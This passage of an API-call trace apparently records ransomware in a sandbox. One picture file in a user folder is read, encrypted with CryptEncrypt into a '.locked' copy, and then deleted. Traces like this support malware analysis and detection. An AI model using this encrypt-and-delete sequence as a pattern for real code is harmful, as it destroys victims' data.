(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\r0b_uofmusfyzx3ho.gif")) returned 0x20 [0135.375] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", lpFilePart=0x0) returned 0x68 [0135.375] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", lpFilePart=0x0) returned 0x68 [0135.375] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.375] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", lpFilePart=0x0) returned 0x68 [0135.375] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", lpFilePart=0x0) returned 0x68 [0135.375] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.375] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.375] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.375] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.376] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", lpFilePart=0x0) returned 0x68 [0135.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.376] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\r0b_uofmusfyzx3ho.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0135.376] GetFileType (hFile=0x858) returned 0x1 [0135.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.376] GetFileType (hFile=0x858) returned 0x1 [0135.376] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.376] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0135.376] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.376] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.376] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.377] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif.locked", lpFilePart=0x0) returned 0x6f [0135.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.377] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\r0b_uofmusfyzx3ho.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0135.377] GetFileType (hFile=0x874) returned 0x1 [0135.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.377] GetFileType (hFile=0x874) returned 0x1 [0135.377] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.377] CryptGenRandom (in: hProv=0x8e028b0, dwLen=0x10, pbBuffer=0x69eb9c4 | out: pbBuffer=0x69eb9c4) returned 1 [0135.378] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.378] CryptDuplicateKey (in: hKey=0x8e84978, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84b78) returned 1 [0135.378] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.378] CryptSetKeyParam (hKey=0x8e84b78, dwParam=0x4, pbData=0x69ecc80*=0x1, dwFlags=0x0) returned 1 [0135.378] CryptSetKeyParam (hKey=0x8e84b78, dwParam=0x1, pbData=0x69ecc4c, dwFlags=0x0) returned 1 [0135.378] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x2720\x438\x242") returned 0x0 [0135.378] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.378] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.378] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.378] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.378] ReadFile (in: hFile=0x858, lpBuffer=0x69f01dc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69f01dc*, lpNumberOfBytesRead=0x99ae7a8*=0x1311a, lpOverlapped=0x0) returned 1 [0135.379] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a041e8*, pdwDataLen=0x99ae79c*=0x13110, dwBufLen=0x13110 | out: pbData=0x6a041e8*, pdwDataLen=0x99ae79c*=0x13110) returned 1 [0135.379] WriteFile (in: hFile=0x874, lpBuffer=0x69eba84*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69eba84*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0135.379] WriteFile (in: hFile=0x874, lpBuffer=0x6a051d4*, nNumberOfBytesToWrite=0x12124, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a051d4*, lpNumberOfBytesWritten=0x99ae780*=0x12124, lpOverlapped=0x0) returned 1 [0135.380] ReadFile (in: hFile=0x858, lpBuffer=0x69f01dc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69f01dc*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0135.380] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a1731c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a1731c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0135.380] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a17350*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a17350*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0135.380] WriteFile (in: hFile=0x874, lpBuffer=0x69eba84*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x69eba84*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0135.381] CloseHandle (hObject=0x874) returned 1 [0135.382] CloseHandle (hObject=0x858) returned 1 [0135.383] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", lpFilePart=0x0) returned 0x68 [0135.383] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.383] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.383] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.383] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.384] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\r0b_uofmusfyzx3ho.gif")) returned 0x20 [0135.385] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif", lpFilePart=0x0) returned 0x68 [0135.385] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.385] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.385] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.385] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.385] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.385] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.385] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.385] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff")) returned 0x10 [0135.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0135.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0135.388] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0135.388] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0135.388] CoTaskMemFree (pv=0x8eb8930) [0135.389] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\r0b_uofmusfyzx3ho.gif")) returned 0x20 [0135.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0135.389] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\r0b_uofmusfyzx3ho.gif"), fInfoLevelId=0x0, lpFileInformation=0x6a37908 | out: lpFileInformation=0x6a37908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc322bd0, ftCreationTime.dwHighDateTime=0x1d49ee0, ftLastAccessTime.dwLowDateTime=0xc1b5cb50, ftLastAccessTime.dwHighDateTime=0x1d4a933, ftLastWriteTime.dwLowDateTime=0xc1b5cb50, ftLastWriteTime.dwHighDateTime=0x1d4a933, nFileSizeHigh=0x0, nFileSizeLow=0x1311a)) returned 1 [0135.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0135.389] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\r0b_uofmusfyzx3ho.gif")) returned 1 [0135.391] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.391] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.391] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.391] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.391] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.392] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.392] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.393] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.393] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.393] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.394] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, 